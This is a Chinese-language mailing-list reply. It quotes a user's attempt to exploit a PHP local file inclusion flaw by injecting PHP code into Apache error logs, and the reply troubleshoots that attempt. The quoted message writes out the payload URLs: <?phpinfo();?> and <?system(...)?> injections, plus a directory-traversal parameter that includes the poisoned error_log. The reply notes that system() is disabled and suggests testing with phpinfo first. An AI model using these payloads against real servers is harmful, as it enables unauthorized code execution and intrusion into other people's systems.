system funcation disable.
你可以先写一个 <?phpinfo(); 测试是否成功。

2008/10/16 唐不狐 <[EMAIL PROTECTED]>

> 测试环境 unix+php+mysql+apache
> 1 http://target.com/fuc<?phpinfo();?>.php
> 2
> http://target.com/fuc.php?url=../../../usr/local/apache/logs/target.com-error_log
>
> 成功看到phpinfo信息,代码被执行。
>
> 接下来
> 3 http://target.com/fuc<?system("ls+-la+/home");?>.php
> 4
> http://target.com/fuc.php?url=../../../usr/local/apache/logs/target.com-error_log
> 失败,并没有列出/home 目录,没有权限?
>
> 5 http://target.com/fuc<?system("ls+-la+/home/www/target_com");?>.php
> 还是无所获
>
> 请教,关于包含apache日志利用的细节,哪些应该注意的?能否成功的条件
> 谢谢!
> >
>

--~--~---------~--~----~------------~-------~--~----~
 要向邮件组发送邮件,请发到 [email protected]
 要退订此邮件,请发邮件至 [EMAIL PROTECTED]
-~----------~----~----~----~------~----~------~--~---

回复